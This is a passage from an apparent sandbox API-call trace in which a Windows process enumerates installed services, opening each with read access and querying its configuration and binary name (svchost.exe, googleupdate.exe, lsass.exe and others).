lpUsedDefaultChar=0x0) returned 8 [0027.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1d18108, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0027.997] OpenServiceW (hSCManager=0x286c38, lpServiceName="FDResPub", dwDesiredAccess=0x1) returned 0x286dc8 [0027.997] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.997] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.997] GetLastError () returned 0x7a [0027.997] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x186, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18150, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1d18150, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0027.998] OpenServiceW (hSCManager=0x286c38, lpServiceName="FontCache", dwDesiredAccess=0x1) returned 0x286d28 [0027.998] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.998] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.998] GetLastError () returned 0x7a [0027.998] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18198, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0027.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1d18198, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0027.999] OpenServiceW (hSCManager=0x286c38, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x1) returned 0x286e18 [0027.999] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.999] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.999] GetLastError () returned 0x7a [0027.999] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x194, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0027.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x1d181e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="presentationfontcache.exe", lpUsedDefaultChar=0x0) returned 25 [0027.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0027.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1d181e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0027.999] OpenServiceW (hSCManager=0x286c38, lpServiceName="gpsvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.028] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.028] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.028] GetLastError () returned 0x7a [0028.028] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18228, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1d18228, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0028.028] OpenServiceW (hSCManager=0x286c38, lpServiceName="gupdate", dwDesiredAccess=0x1) returned 0x286dc8 [0028.029] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.029] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.029] GetLastError () returned 0x7a [0028.029] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x1d18270, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1d18270, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0028.029] OpenServiceW (hSCManager=0x286c38, lpServiceName="gupdatem", dwDesiredAccess=0x1) returned 0x286d28 [0028.030] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.030] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.030] GetLastError () returned 0x7a [0028.030] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x1d182b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0028.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1d182b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0028.030] OpenServiceW (hSCManager=0x286c38, lpServiceName="hidserv", dwDesiredAccess=0x1) returned 0x286e18 [0028.030] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.030] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.031] GetLastError () returned 0x7a [0028.031] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x13e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18300, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1d18300, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0028.032] OpenServiceW (hSCManager=0x286c38, lpServiceName="hkmsvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.032] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.032] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.032] GetLastError () returned 0x7a [0028.032] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18348, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1d18348, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0028.033] OpenServiceW (hSCManager=0x286c38, lpServiceName="HomeGroupListener", dwDesiredAccess=0x1) returned 0x286dc8 [0028.033] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.033] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.033] GetLastError () returned 0x7a [0028.033] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18390, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1d18390, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0028.033] OpenServiceW (hSCManager=0x286c38, lpServiceName="HomeGroupProvider", dwDesiredAccess=0x1) returned 0x286d28 [0028.034] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.034] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.034] GetLastError () returned 0x7a [0028.034] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x178, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d183d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1d183d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0028.034] OpenServiceW (hSCManager=0x286c38, lpServiceName="idsvc", dwDesiredAccess=0x1) returned 0x286e18 [0028.034] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.035] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.035] GetLastError () returned 0x7a [0028.035] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x1d18420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="infocard.exe", lpUsedDefaultChar=0x0) returned 12 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1d18420, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0028.035] OpenServiceW (hSCManager=0x286c38, lpServiceName="IKEEXT", dwDesiredAccess=0x1) returned 0x286d00 [0028.035] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.035] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.036] GetLastError () returned 0x7a [0028.036] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18468, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1d18468, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0028.036] OpenServiceW (hSCManager=0x286c38, lpServiceName="IPBusEnum", dwDesiredAccess=0x1) returned 0x286dc8 [0028.036] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.036] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.036] GetLastError () returned 0x7a [0028.036] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x14c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d184b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1d184b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0028.037] OpenServiceW (hSCManager=0x286c38, lpServiceName="iphlpsvc", dwDesiredAccess=0x1) returned 0x286d28 [0028.037] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.037] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.037] GetLastError () returned 0x7a [0028.037] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d184f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1d184f8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0028.038] OpenServiceW (hSCManager=0x286c38, lpServiceName="KeyIso", dwDesiredAccess=0x1) returned 0x286e18 [0028.038] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.038] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.038] GetLastError () returned 0x7a [0028.038] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0xec, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1d18540, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1d18540, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0028.038] OpenServiceW (hSCManager=0x286c38, lpServiceName="KtmRm", dwDesiredAccess=0x1) returned 0x286d00 [0028.039] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.039] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, 